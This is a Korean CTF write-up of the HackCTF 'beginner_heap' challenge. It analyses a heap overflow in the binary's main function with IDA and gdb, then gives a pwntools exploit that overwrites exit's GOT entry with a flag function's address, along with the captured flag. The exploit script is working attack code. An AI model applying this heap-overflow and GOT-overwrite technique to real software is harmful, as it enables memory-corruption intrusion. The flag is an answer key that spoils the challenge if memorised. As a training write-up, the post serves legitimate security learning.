[문제]


[풀이]

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 2번의 입력을 받고 바이너리 종료

 

IDA 분석 - main 함수

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  void *v3; // ST10_8@1
  void *v4; // ST18_8@1
  char s; // [rsp+20h] [rbp-1010h]@1
  __int64 v6; // [rsp+1028h] [rbp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  v3 = malloc(0x10uLL);
  *(_DWORD *)v3 = 1;
  *((_QWORD *)v3 + 1) = malloc(8uLL);
  v4 = malloc(0x10uLL);
  *(_DWORD *)v4 = 2;
  *((_QWORD *)v4 + 1) = malloc(8uLL);
  fgets(&s, 4096, stdin);
  strcpy(*((char **)v3 + 1), &s);
  fgets(&s, 4096, stdin);
  strcpy(*((char **)v4 + 1), &s);
  exit(0);
}
  • v3에 malloc(0x10)으로 메모리 할당
  • v3+1에 malloc(0x8)으로 메모리 할당
  • v4에 malloc(0x10)으로 메모리 할당
  • v4+1에 malloc(0x8)으로 메모리 할당
  • fgets 함수를 통해 4096byte만큼 2번 입력 받음 → BOF 발생
    • 1번째는 v3+1에 저장
    • 2번째는 v4+1에 저장

?? flag 획득 가능한 함수가 보이지 않음. 다른 풀이에서는 함수 목록에 포함이 됐는데 이상해서 영역별로 다시 찾아봄. text 영역중 0x400826에서 flag를 불러오는 부분을 확인할 수 있었음.

 

gdb 분석 - 함수 확인

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000400670  free@plt
0x0000000000400680  _exit@plt
0x0000000000400690  strcpy@plt
0x00000000004006a0  puts@plt
0x00000000004006b0  __libc_start_main@plt
0x00000000004006c0  fgets@plt
0x00000000004006d0  malloc@plt
0x00000000004006e0  fflush@plt
0x00000000004006f0  fopen@plt
0x0000000000400700  getline@plt
0x0000000000400710  exit@plt
0x0000000000400720  __gmon_start__@plt
  • strcpy 부분에 bp를 걸어 임의의 값(1번째는 a, 2번째는 b)입력 후 메모리 확인

  • v3에 malloc(0x10)으로 메모리 할당 → 0x602280
  • v3+1에 malloc(0x8)으로 메모리 할당 → 0x6022a8
  • v4에 malloc(0x10)으로 메모리 할당 → 0x6022c0
  • v4+1에 malloc(0x8)으로 메모리 할당 →
  • fgets 함수를 통해 4096byte만큼 2번 입력 받음
    • 1번째는 v3+1에 저장
    • 2번째는 v4+1에 저장
  • 1번째 입력 값을 받은 후 v3+1에 있는 주소를 따라가 2번째 입력 값을 저장하고 있음

 

문제 해결

💡 v3+1에 v4의 주소를 담고 있으므로 해당 값을 main함수의 마지막에 존재하는 exit 함수의 got 주소를 넣어주면 exit_got을 따라가게 될 것임
2번째 입력은 exit_got에 저장될 것이며 해당 값을 flag 함수 주소로 넣어주면 exploit 가능
dummy(40) + exit_got + flag_address

 

Python2

from pwn import *

p=remote("ctf.j0n9hyun.xyz", 3016)
e = ELF('./beginner_heap')
flag = 0x400826

payload1 = "A"*40 + p64(e.got['exit'])
payload2 = p64(flag)

p.sendline(payload1)
p.sendline(payload2)

p.interactive()


flag

🍒  HackCTF{4r3_y0u_r34dy_w3lc0m3_70_h34p_53k41}

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] RTL_Core  (0) 2022.10.30
[HackCTF] Look at me  (0) 2022.10.30
[HackCTF] Gift  (0) 2022.10.30

+ Recent posts